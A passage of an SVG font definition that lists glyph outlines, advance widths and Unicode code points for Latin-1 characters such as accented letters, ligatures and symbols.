<glyph unicode="&#xad;" horiz-adv-x="974" d="M147 504v215h680v-215h-680z" />
<glyph unicode="&#xae;" horiz-adv-x="1703" d="M111 715q0 305 217 524t524 219t524 -217t217 -522t-217 -524.5t-526 -219.5t-524 217.5t-215 522.5zM207 713.5q0 -269.5 186.5 -460t458.5 -190.5t461.5 193t189.5 461t-187.5 458.5t-459.5 190.5t-460.5 -191.5t-188.5 -461zM569 322v800h301q182 0 261 -62.5 t79 -199.5q0 -199 -174 -250l213 -288h-172l-192 268h-176v-268h-140zM709 713h165q115 0 157 34.5t42 113.5t-43 109.5t-151 30.5h-170v-288z" />
<glyph unicode="&#xaf;" horiz-adv-x="868" d="M121 1229v178h629v-178h-629z" />
<glyph unicode="&#xb0;" horiz-adv-x="851" d="M111 1149q0 131 92 223t223 92t223 -92t92 -223t-92 -222t-223 -91t-223 91t-92 222zM217 1149q0 -86 60.5 -147.5t147.5 -61.5t147.5 61.5t60.5 147.5t-60.5 146.5t-147.5 60.5t-147.5 -60.5t-60.5 -146.5z" />
<glyph unicode="&#xb1;" horiz-adv-x="1163" d="M98 279v172h967v-172h-967zM98 842v192h391v273h185v-273h391v-192h-391v-277h-185v277h-391z" />
<glyph unicode="&#xb2;" horiz-adv-x="858" d="M135 1300q109 166 287 166q111 0 189.5 -66.5t78.5 -180.5q0 -63 -33.5 -122t-124.5 -153l-194 -199h379v-135h-572v119l252 256q86 86 122 135t36 99.5t-38 85t-97 34.5q-104 0 -172 -104z" />
<glyph unicode="&#xb3;" horiz-adv-x="811" d="M111 662l61 114q100 -72 217 -71q74 0 122 33.5t48 99t-53 104.5t-124 39t-116 -14v108l197 230h-305v127h495v-113l-204 -229q117 -2 181 -73t64 -183.5t-87 -186.5t-226 -74t-270 89z" />
<glyph unicode="&#xb4;" horiz-adv-x="1705" d="M692 1286l217 297l242 -100l-250 -197h-209z" />
<glyph unicode="&#xb5;" horiz-adv-x="1314" d="M176 -397v1487h230v-598q0 -301 249 -302q119 0 207 79t88 231v590h230v-1090h-230v199q-55 -100 -152.5 -157.5t-204 -57.5t-187.5 34v-415h-230z" />
<glyph unicode="&#xb6;" horiz-adv-x="1374" d="M72 1139q0 174 120.5 292.5t366.5 118.5h612v-1779h-190v1585h-229v-1585h-185v981q-49 -6 -94 -7q-113 0 -196.5 39t-124.5 101q-80 119 -80 254z" />
<glyph unicode="&#xb7;" horiz-adv-x="595" d="M145 653.5q0 63.5 44 107.5t107.5 44t109 -44t45.5 -107.5t-45.5 -108.5t-109 -45t-107.5 45t-44 108.5z" />
<glyph unicode="&#xb8;" horiz-adv-x="575" d="M86 -389l53 117q39 -20 79 -20.5t62.5 23t22.5 56.5t-23.5 58.5t-59.5 25.5t-60 -10l73 139h146l-41 -78q143 -19 143 -162q0 -78 -63.5 -136t-160.5 -58t-171 45z" />
<glyph unicode="&#xb9;" horiz-adv-x="548" d="M84 1307v125h303v-838h-133v713h-170z" />
<glyph unicode="&#xba;" horiz-adv-x="774" d="M115 1200q0 113 77.5 189.5t194.5 76.5t194.5 -76.5t77.5 -189.5t-77.5 -189.5t-194.5 -76.5t-194.5 76.5t-77.5 189.5zM223 1201q0 -75 46 -122t118 -47t118 47t46 122t-46 122t-118 47t-118 -47t-46 -122z" />
<glyph unicode="&#xbb;" horiz-adv-x="1120" d="M135 131l236 361l-236 360h221l244 -360l-244 -361h-221zM541 131l235 361l-235 360h221l244 -360l-244 -361h-221z" />
<glyph unicode="&#xbc;" horiz-adv-x="1767" d="M72 1307v125h303v-838h-133v713h-170zM446 -16l764 1566h148l-764 -1566h-148zM1094 211v125l305 502h155l-303 -498h201v154h133v-154h103v-129h-103v-211h-133v211h-358z" />
<glyph unicode="&#xbd;" horiz-adv-x="1900" d="M72 1307v125h303v-838h-133v713h-170zM512 -16l764 1566h147l-764 -1566h-147zM1231 690q109 166 285 166q111 0 190.5 -66.5t79.5 -181.5q0 -63 -34 -122.5t-124 -151.5l-196 -199h378v-135h-571v119l254 256q84 86 120 135t36 99t-38 85t-98 35q-100 0 -172 -104z" />
<glyph unicode="&#xbe;" horiz-adv-x="1845" d="M82 662l61 114q100 -72 217 -71q74 0 122 33.5t48 99t-53 104.5t-123.5 39t-115.5 -14v108l196 230h-305v127h496v-113l-205 -229q117 -2 181.5 -73t64.5 -183.5t-87 -186.5t-226.5 -74t-270.5 89zM530 -16l764 1566h148l-764 -1566h-148zM1178 211v125l305 502h155 l-303 -498h201v154h133v-154h103v-129h-103v-211h-133v211h-358z" />
<glyph unicode="&#xbf;" horiz-adv-x="1040" d="M109 362q0 123 67 205q39 49 59.5 69.5t54.5 52.5t57.5 55.5t37.5 41.5q37 43 37 125v93h231v-125q0 -82 -19.5 -122t-84.5 -106l-150 -149q-47 -51 -47 -127t49.5 -126t127 -50t130 48t60.5 128h248q-20 -182 -142.5 -285.5t-304.5 -103.5t-296.5 99t-114.5 277z M377 1305.5q0 62.5 46 107.5t110.5 45t111.5 -44t47 -106.5t-46 -107.5t-110.5 -45t-111.5 44t-47 106.5z" />
<glyph unicode="&#xc0;" horiz-adv-x="1495" d="M0 0l631 1432h233l631 -1432h-266l-146 326h-686l-139 -326h-258zM401 1747l242 100l217 -297h-209zM498 549h489l-246 551z" />
<glyph unicode="&#xc1;" horiz-adv-x="1519" d="M0 0l631 1432h258l631 -1432h-258l-144 326h-717l-143 -326h-258zM500 549h520l-260 590zM662 1552l217 297l241 -100l-250 -197h-208z" />
<glyph unicode="&#xc2;" horiz-adv-x="1495" d="M0 0l631 1432h233l631 -1432h-266l-146 326h-686l-139 -326h-258zM383 1550l250 275h213l250 -275h-199l-158 115l-157 -115h-199zM498 549h489l-246 551z" />
<glyph unicode="&#xc3;" horiz-adv-x="1495" d="M0 0l631 1432h233l631 -1432h-266l-146 326h-686l-139 -326h-258zM406 1550q0 119 48 193t134 74q55 0 153.5 -48.5t128.5 -48.5q61 0 62 90h153q-6 -266 -188 -266q-53 0 -148.5 48t-121.5 48q-68 0 -70 -90h-151zM498 549h489l-246 551z" />
<glyph unicode="&#xc4;" horiz-adv-x="1495" d="M0 0l631 1432h233l631 -1432h-266l-146 326h-686l-139 -326h-258zM432 1668q0 52 36 89t89 37t90 -36t37 -88t-37 -90t-90 -38t-89 37t-36 89zM498 549h489l-246 551zM811 1668q0 52 37 89t89 37t89 -36t37 -88t-38 -90t-89 -38t-88 37t-37 89z" />
<glyph unicode="&#xc5;" horiz-adv-x="1495" d="M0 0l618 1407q-92 66 -92 162t66.5 160.5t155 64.5t156 -64.5t67.5 -162t-97 -162.5l621 -1405h-266l-146 326h-686l-139 -326h-258zM498 549h489l-246 551zM635 1580q0 -50 31.5 -82t82 -32t81 32t30.5 82t-30.5 82t-81 32t-82 -32t-31.5 -82z" />
<glyph unicode="&#xc6;" horiz-adv-x="2129" d="M-23 0l750 1432h1268v-226h-764v-393h686v-211h-686v-377h788v-225h-1052v326h-518l-175 -326h-297zM565 557h402v649h-60z" />
<glyph unicode="&#xc7;" horiz-adv-x="1507" d="M106 735q0 305 218.5 518t551 213t556.5 -245l-154 -168q-102 98 -193.5 137t-214.5 39q-217 0 -364.5 -140.5t-147.5 -358.5t146.5 -364.5t347.5 -146.5q125 0 215 42t188 134l156 -159q-213 -238 -520 -250l-33 -64q143 -18 143 -162q0 -78 -63.5 -136t-160.5 -58 t-171 45l53 117q39 -20 79 -20.5t62.5 23t22.5 56.5t-23.5 58.5t-59 25.5t-60.5 -10l68 129q-281 35 -461.5 237.5t-180.5 507.5z" />
<glyph unicode="&#xc8;" horiz-adv-x="1339" d="M199 0v1432h1005v-228h-764v-379h686v-215h-686v-383h789v-227h-1030zM403 1747l242 100l217 -297h-209z" />
<glyph unicode="&#xc9;" horiz-adv-x="1339" d="M199 0v1432h1005v-228h-764v-379h686v-215h-686v-383h789v-227h-1030zM602 1550l217 297l242 -100l-250 -197h-209z" />
<glyph unicode="&#xca;" horiz-adv-x="1339" d="M199 0v1432h1005v-228h-764v-379h686v-215h-686v-383h789v-227h-1030zM346 1550l250 275h213l250 -275h-199l-158 115l-157 -115h-199z" />
<glyph unicode="&#xcb;" horiz-adv-x="1339" d="M199 0v1432h1005v-228h-764v-379h686v-215h-686v-383h789v-227h-1030zM389 1668q0 52 37 89t89 37t89 -36t37 -88t-38 -90t-90 -38t-88 37t-36 89zM768 1668q0 52 37 89t89 37t89 -36t37 -88t-37 -90t-89 -38t-89 37t-37 89z" />
<glyph unicode="&#xcc;" horiz-adv-x="638" d="M-31 1747l242 100l217 -297h-209zM199 0v1432h241v-1432h-241z" />
<glyph unicode="&#xcd;" horiz-adv-x="638" d="M199 0v1432h241v-1432h-241zM211 1550l217 297l242 -100l-250 -197h-209z" />
<glyph unicode="&#xce;" horiz-adv-x="638" d="M-14 1550l250 275h213l249 -275h-198l-158 115l-158 -115h-198zM199 0v1432h241v-1432h-241z" />
<glyph unicode="&#xcf;" horiz-adv-x="638" d="M6 1668q0 52 36 89t89 37t90 -36t37 -88t-37 -90t-90 -38t-89 37t-36 89zM199 0v1432h241v-1432h-241zM385 1668q0 52 37 89t89 37t89 -36t37 -88t-38 -90t-89 -38t-88 37t-37 89z" />
<glyph unicode="&#xd0;" horiz-adv-x="1617" d="M53 602v215h162v615h492q385 0 591.5 -187.5t206.5 -521.5t-200.5 -528.5t-614.5 -194.5h-475v602h-162zM457 227h268q260 0 398.5 124t138.5 366q0 492 -564 491h-241v-391h512v-215h-512v-375z" />
<glyph unicode="&#xd1;" horiz-adv-x="1712" d="M199 0v1432h241l832 -1070v1070h241v-1432h-262l-811 1044v-1044h-241zM510 1550q0 119 48 193t134 74q55 0 153.5 -48.5t129.5 -48.5q61 0 61 90h154q-7 -266 -189 -266q-53 0 -148 48t-122 48q-68 0 -69 -90h-152z" />
<glyph unicode="&#xd2;" horiz-adv-x="1720" d="M106 726q0 316 217.5 528t537 212t536.5 -212t217 -528t-217 -528t-536.5 -212t-537 212t-217.5 528zM354 726q0 -216 146.5 -367.5t359.5 -151.5t359.5 151.5t146.5 367.5t-146.5 367.5t-359.5 151.5t-359.5 -151.5t-146.5 -367.5zM557 1747l242 100l217 -297h-209z" />
<glyph unicode="&#xd3;" horiz-adv-x="1720" d="M106 726q0 316 217.5 528t537 212t536.5 -212t217 -528t-217 -528t-536.5 -212t-537 212t-217.5 528zM354 726q0 -216 146.5 -367.5t359.5 -151.5t359.5 151.5t146.5 367.5t-146.5 367.5t-359.5 151.5t-359.5 -151.5t-146.5 -367.5zM688 1550l217 297l242 -100l-250 -197 h-209z" />
<glyph unicode="&#xd4;" horiz-adv-x="1720" d="M106 726q0 316 217.5 528t537 212t536.5 -212t217 -528t-217 -528t-536.5 -212t-537 212t-217.5 528zM354 726q0 -216 146.5 -367.5t359.5 -151.5t359.5 151.5t146.5 367.5t-146.5 367.5t-359.5 151.5t-359.5 -151.5t-146.5 -367.5zM500 1550l250 275h213l249 -275h-198 l-158 115l-158 -115h-198z" />
<glyph unicode="&#xd5;" horiz-adv-x="1720" d="M106 726q0 316 217.5 528t537 212t536.5 -212t217 -528t-217 -528t-536.5 -212t-537 212t-217.5 528zM354 726q0 -216 146.5 -367.5t359.5 -151.5t359.5 151.5t146.5 367.5t-146.5 367.5t-359.5 151.5t-359.5 -151.5t-146.5 -367.5zM516 1550q0 119 48 193t134 74 q55 0 153.5 -48.5t129.5 -48.5q61 0 61 90h154q-6 -266 -188 -266q-53 0 -148.5 48t-122.5 48q-68 0 -69 -90h-152z" />
<glyph unicode="&#xd6;" horiz-adv-x="1720" d="M106 726q0 316 217.5 528t537 212t536.5 -212t217 -528t-217 -528t-536.5 -212t-537 212t-217.5 528zM354 726q0 -216 146.5 -367.5t359.5 -151.5t359.5 151.5t146.5 367.5t-146.5 367.5t-359.5 151.5t-359.5 -151.5t-146.5 -367.5zM535 1668q0 52 35.5 89t89 37t90 -36 t36.5 -88t-36.5 -90t-90 -38t-89 37t-35.5 89zM913 1668q0 52 37 89t89.5 37t89 -36t36.5 -88t-37.5 -90t-89 -38t-88.5 37t-37 89z" />
<glyph unicode="&#xd7;" horiz-adv-x="1157" d="M98 430l351 350l-349 346l131 131l349 -350l348 350l129 -131l-346 -346l348 -350l-129 -131l-350 350l-351 -350z" />
<glyph unicode="&#xd8;" horiz-adv-x="1720" d="M106 727q0 315 217.5 527t536.5 212q125 0 248 -39l111 234h204l-145 -313q156 -98 246 -261t90 -360q0 -317 -217 -529t-537 -212q-109 0 -207 24l-116 -250h-205l149 320q-174 94 -274.5 265t-100.5 382zM354 725q0 -133 60.5 -248t165.5 -186l434 930q-74 24 -154 24 q-213 0 -359.5 -151.5t-146.5 -368.5zM750 217q57 -10 110 -10q213 0 359.5 151.5t146.5 366.5q0 250 -188 408z" />
<glyph unicode="&#xd9;" horiz-adv-x="1572" d="M180 629v803h242v-793q0 -197 98 -311.5t266 -114.5t266.5 114.5t98.5 311.5v793h242v-803q0 -309 -170 -476t-436.5 -167t-436.5 166.5t-170 476.5zM510 1747l242 100l217 -297h-209z" />
<glyph unicode="&#xda;" horiz-adv-x="1572" d="M180 629v803h242v-793q0 -197 98 -311.5t266 -114.5t266.5 114.5t98.5 311.5v793h242v-803q0 -309 -170 -476t-436.5 -167t-436.5 166.5t-170 476.5zM643 1552l217 297l242 -100l-250 -197h-209z" />
<glyph unicode="&#xdb;" horiz-adv-x="1572" d="M180 629v803h242v-793q0 -197 98 -311.5t266 -114.5t266.5 114.5t98.5 311.5v793h242v-803q0 -309 -170 -476t-436.5 -167t-436.5 166.5t-170 476.5zM438 1550l250 275h213l250 -275h-199l-157 115l-158 -115h-199z" />
<glyph unicode="&#xdc;" horiz-adv-x="1572" d="M180 629v803h242v-793q0 -197 98 -311.5t266 -114.5t266.5 114.5t98.5 311.5v793h242v-803q0 -309 -170 -476t-436.5 -167t-436.5 166.5t-170 476.5zM475 1668q0 52 37 89t89 37t89 -36t37 -88t-38 -90t-90 -38t-88 37t-36 89zM854 1668q0 52 37 89t89 37t89 -36t37 -88 t-37 -90t-89 -38t-89 37t-37 89z" />
<glyph unicode="&#xdd;" horiz-adv-x="1277" d="M-16 1432h264l391 -652l391 652h264l-532 -867v-565h-246v565zM588 1520l217 297l242 -101l-250 -196h-209z" />
<glyph unicode="&#xde;" horiz-adv-x="1404" d="M199 0v1432h241v-181h230q645 1 645 -495q0 -272 -162 -394t-479 -122h-234v-240h-241zM440 459h260q203 0 285 78.5t82 224t-100.5 208t-300.5 62.5h-226v-573z" />
<glyph unicode="&#xdf;" horiz-adv-x="1333" d="M166 0v934q0 147 13.5 207.5t30.5 114t41.5 91t63.5 78.5t86 66q111 59 258.5 59t248 -41t149.5 -108q92 -123 92 -266q0 -211 -213 -344q152 -16 227.5 -123t75.5 -246q0 -193 -135 -307.5t-387 -114.5h-84v201h45q154 0 236.5 50t82.5 172t-81.5 180.5t-219.5 58.5 q-47 0 -71 -3v191q147 22 218.5 93t71.5 164t-54 160.5t-171 67.5q-156 0 -219 -96t-63 -285v-954h-242z" />
<glyph unicode="&#xe0;" horiz-adv-x="1202" d="M84 337q0 161 119 240.5t321 79.5h297v41q0 217 -241 217q-152 0 -316 -110l-102 143q199 158 450 158q193 0 315 -97.5t122 -306.5v-702h-209v145q-135 -162 -363 -161q-170 0 -281.5 96t-111.5 257zM313 342q0 -80 61.5 -122t171 -42t191.5 62t82 166v92h-258 q-248 0 -248 -156zM328 1425l241 101l217 -297h-208z" />
<glyph unicode="&#xe1;" horiz-adv-x="1202" d="M84 337q0 161 119 240.5t321 79.5h297v41q0 217 -241 217q-152 0 -316 -110l-102 143q199 158 450 158q193 0 315 -97.5t122 -306.5v-702h-209v145q-135 -162 -363 -161q-170 0 -281.5 96t-111.5 257zM313 342q0 -80 61.5 -122t171 -42t191.5 62t82 166v92h-258 q-248 0 -248 -156zM510 1229l217 297l242 -101l-250 -196h-209z" />
<glyph unicode="&#xe2;" horiz-adv-x="1202" d="M84 337q0 161 119 240.5t321 79.5h297v41q0 217 -241 217q-152 0 -316 -110l-102 143q199 158 450 158q193 0 315 -97.5t122 -306.5v-702h-209v145q-135 -162 -363 -161q-170 0 -281.5 96t-111.5 257zM240 1229l249 274h213l250 -274h-198l-158 114l-158 -114h-198z M313 342q0 -80 61.5 -122t171 -42t191.5 62t82 166v92h-258q-248 0 -248 -156z" />
<glyph unicode="&#xe3;" horiz-adv-x="1202" d="M84 337q0 161 119 240.5t321 79.5h297v41q0 217 -241 217q-152 0 -316 -110l-102 143q199 158 450 158q193 0 315 -97.5t122 -306.5v-702h-209v145q-135 -162 -363 -161q-170 0 -281.5 96t-111.5 257zM256 1229q0 119 48 192.5t134 73.5q55 0 153.5 -48t129.5 -48 q61 0 61 90h154q-6 -266 -188 -266q-53 0 -148.5 48t-122.5 48q-68 0 -69 -90h-152zM313 342q0 -80 61.5 -122t171 -42t191.5 62t82 166v92h-258q-248 0 -248 -156z" />
<glyph unicode="&#xe4;" horiz-adv-x="1202" d="M84 337q0 161 119 240.5t321 79.5h297v41q0 217 -241 217q-152 0 -316 -110l-102 143q199 158 450 158q193 0 315 -97.5t122 -306.5v-702h-209v145q-135 -162 -363 -161q-170 0 -281.5 96t-111.5 257zM285 1356q0 53 35.5 89t89 36t90.5 -36t37 -89t-37 -90t-90.5 -37 t-89 37t-35.5 90zM313 342q0 -80 61.5 -122t171 -42t191.5 62t82 166v92h-258q-248 0 -248 -156zM664 1355q0 52 36.5 89t89 37t89 -36t36.5 -89t-37.5 -90t-89 -37t-88 37t-36.5 89z" />
<glyph unicode="&#xe5;" horiz-adv-x="1202" d="M84 337q0 161 119 240.5t321 79.5h297v41q0 217 -241 217q-152 0 -316 -110l-102 143q199 158 450 158q193 0 315 -97.5t122 -306.5v-702h-209v145q-135 -162 -363 -161q-170 0 -281.5 96t-111.5 257zM313 342q0 -80 61.5 -122t171 -42t191.5 62t82 166v92h-258 q-248 0 -248 -156zM381 1407q0 86 66.5 150.5t154.5 64.5t155.5 -64.5t67.5 -150.5t-67.5 -149.5t-155.5 -63.5t-154.5 63.5t-66.5 149.5zM489 1408q0 -50 32 -82t82 -32t81 32t31 82t-31 82t-81 32t-82 -32t-32 -82z" />
<glyph unicode="&#xe6;" horiz-adv-x="1949" d="M84 338q0 160 117.5 235.5t322.5 75.5h297v49q0 217 -241 217q-152 0 -316 -110l-102 143q199 158 450.5 158t362.5 -152q147 152 371.5 152t371 -134t146.5 -370v-131h-813q2 -131 95 -211t222 -80q184 0 291 129l131 -143q-176 -182 -441.5 -182t-414.5 196 q-164 -197 -436 -196q-172 0 -293 97t-121 257zM313 342q0 -80 61.5 -122t171 -42t191.5 62t82 166v65h-258q-190 0 -229 -57q-18 -29 -19 -72zM1053 649l581 -2q-8 129 -83.5 195.5t-192.5 66.5t-206 -69.5t-99 -190.5z" />
<glyph unicode="&#xe7;" horiz-adv-x="1181" d="M96 553q0 240 171 396.5t417 156.5t416 -170l-135 -166q-141 123 -284.5 123t-249 -95.5t-105.5 -246t103 -254.5t257 -104t289 139l135 -148q-168 -168 -381 -194l-35 -68q144 -19 144 -162q0 -78 -63.5 -136t-161 -58t-171.5 45l54 117q39 -20 78.5 -20.5t62 23 t22.5 56.5t-23.5 58.5t-59 25.5t-60.5 -10l68 127q-207 25 -347.5 175t-140.5 390z" />
<glyph unicode="&#xe8;" horiz-adv-x="1265" d="M96 546q0 257 164 408.5t386 151.5t378 -134t156 -370v-158h-854q8 -119 108.5 -191.5t229.5 -72.5q205 0 311 129l131 -143q-176 -182 -459 -182q-229 0 -390 152.5t-161 409.5zM326 625h624q0 137 -86 210.5t-212 73.5t-226 -76.5t-100 -207.5zM385 1425l242 101 l217 -297h-209z" />
<glyph unicode="&#xe9;" horiz-adv-x="1265" d="M96 546q0 257 164 408.5t386 151.5t378 -134t156 -370v-158h-854q8 -119 108.5 -191.5t229.5 -72.5q205 0 311 129l131 -143q-176 -182 -459 -182q-229 0 -390 152.5t-161 409.5zM326 625h624q0 137 -86 210.5t-212 73.5t-226 -76.5t-100 -207.5zM561 1233l217 297 l242 -100l-250 -197h-209z" />
<glyph unicode="&#xea;" horiz-adv-x="1265" d="M96 546q0 257 164 408.5t386 151.5t378 -134t156 -370v-158h-854q8 -119 108.5 -191.5t229.5 -72.5q205 0 311 129l131 -143q-176 -182 -459 -182q-229 0 -390 152.5t-161 409.5zM293 1229l250 274h213l250 -274h-199l-158 114l-157 -114h-199zM326 625h624 q0 137 -86 210.5t-212 73.5t-226 -76.5t-100 -207.5z" />
<glyph unicode="&#xeb;" horiz-adv-x="1265" d="M96 546q0 257 164 408.5t386 151.5t378 -134t156 -370v-158h-854q8 -119 108.5 -191.5t229.5 -72.5q205 0 311 129l131 -143q-176 -182 -459 -182q-229 0 -390 152.5t-161 409.5zM326 625h624q0 137 -86 210.5t-212 73.5t-226 -76.5t-100 -207.5zM332 1356q0 53 37 89 t89 36t89 -36t37 -89t-38 -90t-90.5 -37t-88 37t-35.5 90zM711 1355q0 52 36.5 89t89 37t89.5 -36t37 -89t-37 -90t-89.5 -37t-89 37t-36.5 89z" />
<glyph unicode="&#xec;" d="M-49 1425l242 101l217 -297h-209zM166 0v1090h229v-1090h-229z" />
<glyph unicode="&#xed;" d="M166 0v1090h229v-1090h-229zM197 1229l217 287l225 -101l-250 -186h-192z" />
<glyph unicode="&#xee;" d="M-66 1229l250 274h213l250 -274h-198l-158 114l-158 -114h-199zM166 0v1090h229v-1090h-229z" />
<glyph unicode="&#xef;" d="M-16 1356q0 53 36.5 89t89 36t89.5 -36t37 -89t-38 -90t-90.5 -37t-88 37t-35.5 90zM166 0v1090h229v-1090h-229zM362 1355q0 52 37 89t89.5 37t89 -36t36.5 -89t-36.5 -90t-89 -37t-89.5 37t-37 89z" />
<glyph unicode="&#xf0;" horiz-adv-x="1220" d="M102 474q0 216 143.5 354.5t346.5 138.5q145 0 221 -76l4 4q-78 129 -252 303l-190 -121l-117 111l193 123q-4 6 -150 127l195 112q74 -57 149 -129l174 111l121 -111l-180 -116q360 -391 360 -758q0 -252 -133 -407.5t-362.5 -155.5t-376 137t-146.5 353zM326 474 q0 -120 78.5 -205t206.5 -85t207 85t79 205t-79 206t-207 86t-206.5 -86t-78.5 -206z" />
<glyph unicode="&#xf1;" horiz-adv-x="1323" d="M166 0v1090h229v-199q55 100 152.5 157.5t210.5 57.5q184 0 297.5 -112.5t113.5 -325.5v-668h-229v598q0 301 -250 301q-119 0 -207 -78.5t-88 -230.5v-590h-229zM338 1229q0 119 48 192.5t134 73.5q55 0 153.5 -48t129.5 -48q61 0 61 90h154q-7 -266 -189 -266 q-53 0 -148 48t-122 48q-68 0 -70 -90h-151z" />
<glyph unicode="&#xf2;" horiz-adv-x="1335" d="M94 544.5q0 235.5 164 398.5t409.5 163t409.5 -163t164 -398.5t-164 -398t-409.5 -162.5t-409.5 162.5t-164 398zM324 544.5q0 -157.5 97 -257t246.5 -99.5t247 99.5t97.5 257t-97.5 257t-247 99.5t-246.5 -99.5t-97 -257zM350 1425l242 101l217 -297h-209z" />
<glyph unicode="&#xf3;" horiz-adv-x="1335" d="M94 544.5q0 235.5 164 398.5t409.5 163t409.5 -163t164 -398.5t-164 -398t-409.5 -162.5t-409.5 162.5t-164 398zM324 544.5q0 -157.5 97 -257t246.5 -99.5t247 99.5t97.5 257t-97.5 257t-247 99.5t-246.5 -99.5t-97 -257zM563 1229l217 297l242 -101l-250 -196h-209z " />
<glyph unicode="&#xf4;" horiz-adv-x="1335" d="M94 544.5q0 235.5 164 398.5t409.5 163t409.5 -163t164 -398.5t-164 -398t-409.5 -162.5t-409.5 162.5t-164 398zM313 1229l250 274h213l250 -274h-199l-157 114l-158 -114h-199zM324 544.5q0 -157.5 97 -257t246.5 -99.5t247 99.5t97.5 257t-97.5 257t-247 99.5 t-246.5 -99.5t-97 -257z" />
<glyph unicode="&#xf5;" horiz-adv-x="1335" d="M94 544.5q0 235.5 164 398.5t409.5 163t409.5 -163t164 -398.5t-164 -398t-409.5 -162.5t-409.5 162.5t-164 398zM324 544.5q0 -157.5 97 -257t246.5 -99.5t247 99.5t97.5 257t-97.5 257t-247 99.5t-246.5 -99.5t-97 -257zM328 1229q0 119 48 192.5t134 73.5 q55 0 153.5 -48t129.5 -48q61 0 61 90h154q-7 -266 -189 -266q-53 0 -148.5 48t-121.5 48q-68 0 -70 -90h-151z" />
<glyph unicode="&#xf6;" horiz-adv-x="1335" d="M94 544.5q0 235.5 164 398.5t409.5 163t409.5 -163t164 -398.5t-164 -398t-409.5 -162.5t-409.5 162.5t-164 398zM324 544.5q0 -157.5 97 -257t246.5 -99.5t247 99.5t97.5 257t-97.5 257t-247 99.5t-246.5 -99.5t-97 -257zM344 1356q0 53 37 89t89 36t89 -36t37 -89 t-38 -90t-90 -37t-88 37t-36 90zM723 1355q0 52 37 89t89 37t89 -36t37 -89t-37 -90t-89 -37t-89 37t-37 89z" />
<glyph unicode="&#xf7;" horiz-adv-x="1163" d="M98 696v193h967v-193h-967zM430 432.5q0 63.5 44 107.5t107.5 44t108.5 -44t45 -107.5t-45 -108.5t-108.5 -45t-107.5 45t-44 108.5zM430 1159.5q0 63.5 44 107.5t107.5 44t108.5 -44t45 -107.5t-45 -108.5t-108.5 -45t-107.5 45t-44 108.5z" />
<glyph unicode="&#xf8;" horiz-adv-x="1335" d="M94 545q0 236 164 398.5t410 162.5q90 0 170 -25l90 193h205l-127 -270q111 -78 173 -198t62 -261q0 -236 -163.5 -398.5t-409.5 -162.5q-57 0 -133 14l-99 -213h-205l131 281q-125 74 -196.5 200.5t-71.5 278.5zM324 531q0 -171 129 -273l297 635q-35 8 -82 8 q-150 0 -247 -99.5t-97 -270.5zM625 190q14 -2 43 -2q150 0 247 99.5t97 259.5t-101 256z" />
<glyph unicode="&#xf9;" horiz-adv-x="1323" d="M154 422v668h229v-598q0 -301 250 -302q119 0 207 79t88 231v590h229v-1090h-229v199q-55 -100 -152.5 -157.5t-210.5 -57.5q-184 0 -297.5 112.5t-113.5 325.5zM346 1425l242 101l217 -297h-209z" />
<glyph unicode="&#xfa;" horiz-adv-x="1323" d="M154 422v668h229v-598q0 -301 250 -302q119 0 207 79t88 231v590h229v-1090h-229v199q-55 -100 -152.5 -157.5t-210.5 -57.5q-184 0 -297.5 112.5t-113.5 325.5zM508 1233l217 297l242 -100l-250 -197h-209z" />
<glyph unicode="&#xfb;" horiz-adv-x="1323" d="M154 422v668h229v-598q0 -301 250 -302q119 0 207 79t88 231v590h229v-1090h-229v199q-55 -100 -152.5 -157.5t-210.5 -57.5q-184 0 -297.5 112.5t-113.5 325.5zM303 1229l250 274h213l250 -274h-199l-158 114l-157 -114h-199z" />
<glyph unicode="&#xfc;" horiz-adv-x="1323" d="M154 422v668h229v-598q0 -301 250 -302q119 0 207 79t88 231v590h229v-1090h-229v199q-55 -100 -152.5 -157.5t-210.5 -57.5q-184 0 -297.5 112.5t-113.5 325.5zM332 1356q0 53 37 89t89 36t89 -36t37 -89t-38 -90t-90.5 -37t-88 37t-35.5 90zM711 1355q0 52 36.5 89 t89 37t89.5 -36t37 -89t-37 -90t-89.5 -37t-89 37t-36.5 89z" />
<glyph unicode="&#xfd;" horiz-adv-x="1175" d="M18 1090h246l326 -803l325 803h246l-528 -1295q-47 -106 -135.5 -167.5t-194.5 -61.5q-150 0 -270 108l104 187q72 -68 148.5 -68t125 55.5t48.5 120.5q0 29 -441 1121zM471 1286l217 297l242 -100l-250 -197h-209z" />
<glyph unicode="&#xfe;" horiz-adv-x="1376" d="M166 -397v1917h229v-580q6 6 15.5 17.5t44 40t73.5 51.5q102 57 220 57q237 0 384.5 -160t147.5 -404.5t-146.5 -401t-390.5 -156.5q-168 0 -292 106q-29 25 -41 41l-15 19v-547h-229zM391 544.5q0 -147.5 88 -253t226.5 -105.5t233.5 107.5t95 252t-94 252t-233.5 107.5 t-227.5 -106.5t-88 -254z" />
<glyph unicode="&#xff;" horiz-adv-x="1175" d="M18 1090h246l326 -803l325 803h246l-528 -1295q-47 -106 -135.5 -167.5t-194.5 -61.5q-150 0 -270 108l104 187q72 -68 148.5 -68t125 55.5t48.5 120.5q0 29 -441 1121zM283 1356q0 53 36.5 89t89 36t89.5 -36t37 -89t-38 -90t-90.5 -37t-88 37t-35.5 90zM662 1355 q0 52 36.5 89t89 37t89 -36t36.5 -89t-36.5 -90t-89 -37t-89 37t-36.5 89z" />
<glyph unicode="&#x152;" horiz-adv-x="2183" d="M109 716q0 306 209.5 511t519.5 205h1210v-228h-764v-379h686v-215h-686v-383h789v-227h-1235q-309 0 -519 205t-210 511zM371 717q0 -209 142 -357.5t347 -148.5h182v1010h-182q-207 0 -348 -147.5t-141 -356.5z" />
<glyph unicode="&#x153;" horiz-adv-x="2183" d="M94 544.5q0 235.5 164 398.5t410 163q287 0 454 -215q76 104 194 159.5t245 55.5q225 0 380.5 -134t155.5 -370v-158h-854q8 -119 108.5 -191.5t229.5 -72.5q205 0 311 129l131 -143q-176 -182 -458 -182q-133 0 -250 55t-193 158q-166 -213 -454 -213q-246 0 -410 162.5 t-164 398zM324 544.5q0 -157.5 97 -257t246.5 -99.5t247 99.5t97.5 257t-97.5 257t-247 99.5t-246.5 -99.5t-97 -257zM1243 625h625q0 137 -86 210.5t-212 73.5t-226.5 -76.5t-100.5 -207.5z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1380" d="M340 1229l250 274h213l250 -274h-199l-158 114l-157 -114h-199z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1062" d="M195 1520q0 119 48 192.5t134 73.5q55 0 153.5 -48t128.5 -48q61 0 62 90h153q-6 -267 -188 -267q-53 0 -148.5 48.5t-121.5 48.5q-68 0 -70 -90h-151z" />
<glyph unicode="&#x2000;" horiz-adv-x="924" />
